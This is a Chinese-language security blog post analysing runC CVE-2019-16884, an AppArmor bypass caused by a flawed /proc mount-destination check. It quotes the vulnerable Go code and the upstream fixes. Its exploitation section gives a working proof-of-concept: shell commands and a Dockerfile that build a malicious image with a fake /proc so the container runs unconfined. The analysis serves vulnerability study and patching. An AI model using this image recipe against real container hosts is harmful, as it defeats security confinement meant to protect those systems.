百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

runC CVE-2019-16884-欺骗AppArmor分析及其思考

toyiye 2024-07-09 22:52 12 浏览 0 评论

前置技术

apparmor

参考链接:

https://zh.wikipedia.org/wiki/AppArmor

https://www.kernel.org/doc/html/latest/admin-guide/LSM/index.html

如何使用内核安全模块:https://www.kernel.org/doc/html/latest/admin-guide/LSM/index.html

/proc/self/attr/exec使用:https://gitlab.com/apparmor/apparmor/-/wikis/AppArmorinterfaces#procselfattrexec

简单来说apparmor可以让管理员通过程序的配置文件限制程序的功能,其本身作为一个内核模块集成在Linux内核中(这里可能会有人发现lsmod里面并没有apparmor,这是因为lsmod展示的是所有动态加载的内核模块,通过ls /sys/module/ 就可以看到所有的内核模块包括系统中内置的),因此其通过内核提供强访问控制。

cat /sys/module/apparmor/parameters/enabled //查看是否开启apparmor,返回为Y表示开启
sudo cat /sys/kernel/security/apparmor/profiles  // 查看加载的配置文件

? 那么在Docker中是如何判断内核是否开启了apparmor功能模块呢?其实也是通过查看/sys/module/apparmor/parameters/enabled文件来确定的相关代码可以参考这里。docker Deamon默认的apparmor策略可以参考这里。

? 那么对于runC启动容器来说其也会加载apparmor策略,应用的过程就是将exec 文件路径写入到/proc/self/attr/exec,具体可参考源码。

漏洞分析

? CVE-2019-16884可以使得用户绕过apparmor的一些策略进而可以实现一些提权操作。

问题函数:

https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L286

在该函数中会对需要挂载的目标路径进行合法判断:

    default:
        // ensure that the destination of the mount is resolved of symlinks at mount time because
        // any previous mounts can invalidate the next mount's destination.
        // this can happen when a user specifies mounts within other mounts to cause breakouts or other
        // evil stuff to try to escape the container's rootfs.
        var err error
        if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil {
            return err
        }
        if err := checkMountDestination(rootfs, dest); err != nil {
            return err
        }
        // update the mount with the correct dest after symlinks are resolved.
        m.Destination = dest
        if err := os.MkdirAll(dest, 0755); err != nil {
            return err
        }
        return mountPropagate(m, rootfs, mountLabel)

但是在checkMountDestination函数中,其对invalidDestinations的判断存在问题,假设rootfs为/test那么拼接出来的非法路径就是/test/proc,那么path就代表相对于/test/proc的路径,条件path != "."判断出并非路径/test/proc,条件!strings.HasPrefix(path, "..")判断出路径不在/test/proc/目录内。但是它忽略了path==”/test/proc”的情况。

项目的测试代码同样存在问题,错把==写错为!=,最终导致及时在测试阶段也没排除bug。

// checkMountDestination checks to ensure that the mount destination is not over the top of /proc.
// dest is required to be an abs path and have any symlinks resolved before calling this function.
func checkMountDestination(rootfs, dest string) error {
    invalidDestinations := []string{
        "/proc",
    }
    // White list, it should be sub directories of invalid destinations
    validDestinations := []string{
        // These entries can be bind mounted by files emulated by fuse,
        // so commands like top, free displays stats in container.
        "/proc/cpuinfo",
        "/proc/diskstats",
        "/proc/meminfo",
        "/proc/stat",
        "/proc/swaps",
        "/proc/uptime",
        "/proc/loadavg",
        "/proc/net/dev",
    }
    for _, valid := range validDestinations {
        path, err := filepath.Rel(filepath.Join(rootfs, valid), dest)
        if err != nil {
            return err
        }
        if path == "." {
            return nil
        }
    }
    for _, invalid := range invalidDestinations {
        path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)
        if err != nil {
            return err
        }
        if path != "." && !strings.HasPrefix(path, "..") {
            return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid)
        }
    }
    return nil
}

整个问题函数的调用链如下:

libcontainer.Init() -> prepareRootfs() -> mountToRootfs() -> checkMountDestination()

? 因此整个挂载过程在Init()阶段就已经完成,因此就导致后期进行ApplyProfile()函数调用的时候无法使用正确的/proc/self/attr/exec,进而对runC形成了一种欺骗效果。

? 在看漏洞相关的issues的时候得知,为了防止符号链接攻击,作者采用了以相对于宿主机根路径而不是相对与roofs的方法,但是因为缺少逻辑判断导致引发的新的漏洞问题。同时,当时发现该漏洞的人发觉该漏洞同时可以控制SELinux,因为其也会使用/proc/self/attr/目录下的,个人认为这种联想和发现问题以及将相同的问题扩展到不同场景上的能力是漏洞挖掘人员的核心能力之一。

如何利用?

? 假设我们可以成功挂载/proc卷,那么我们就可以自定义/proc里面的内容,这样我们就可以使得/proc/self/attr/exec可控,因此就会使得相关的apparmor安全策略无法加载。

? 因此我们需要构造一个恶意镜像:

mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec} # exec 我懂,别的是啥意思
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs / 

VOLUME /proc
EOF

docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default"  apparmor-bypass
# container runs unconfined

其实思路很简单,如果我们可以挂载/proc,那么其中的内容便可以被我们控制,我们通过ADD rootfs 到/ ,从而使得相关的AppArmor策略无法在容器进程中生效。

如何修复?

? github关于该漏洞的修复方法:

修复建议一

? 如果要挂载的文件路径是/proc,那么判断其是否是proc类型,核心代码如下:

    const procPath = "/proc"
    path, err := filepath.Rel(filepath.Join(rootfs, procPath), dest)
    if err != nil {
        return err
    }
    // check if the path is outside the rootfs
    if path == "." || !strings.HasPrefix(path, "..") {
        // only allow a mount on-top of proc if it's source is "procfs"
        fstype, err := mount.FSType(source)
        if err != nil {
            if err == mount.ErrNotMounted {
                return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
            }
            return err
        }
        if fstype != "proc" {
            return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
        }

修复建议二

? 直接对”.”相对路径进行了判断,这个也是最有针对性的,被最终采纳:

    if !strings.HasPrefix(path, "..") {
        if path == "." {
            // an empty source is pasted on restore
            if source == "" {
                return nil
            }
            // only allow a mount on-top of proc if it's source is "proc"
            isproc, err := isProc(source)
            if err != nil {
                return err
            }
            if !isproc {
                return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
            }
            return nil

修复建议三

? 在容器加载AppArmor策略的时候,判断相关文件是不是proc类型的文件,这个也被采纳:

func setProcAttr(attr, value string) error {
    // Under AppArmor you can only change your own attr, so use /proc/self/
    // instead of /proc/<tid>/ like libapparmor does
    path := fmt.Sprintf("/proc/self/attr/%s", attr)

    f, err := os.OpenFile(path, os.O_WRONLY, 0)
    if err != nil {
        return err
    }
    defer f.Close()

    if err := utils.EnsureProcHandle(f); err != nil {
        return err
    }

    _, err = fmt.Fprintf(f, "%s", value)
    return err
}

本文由时钟原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/265343
安全客 - 有思想的安全新媒体

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码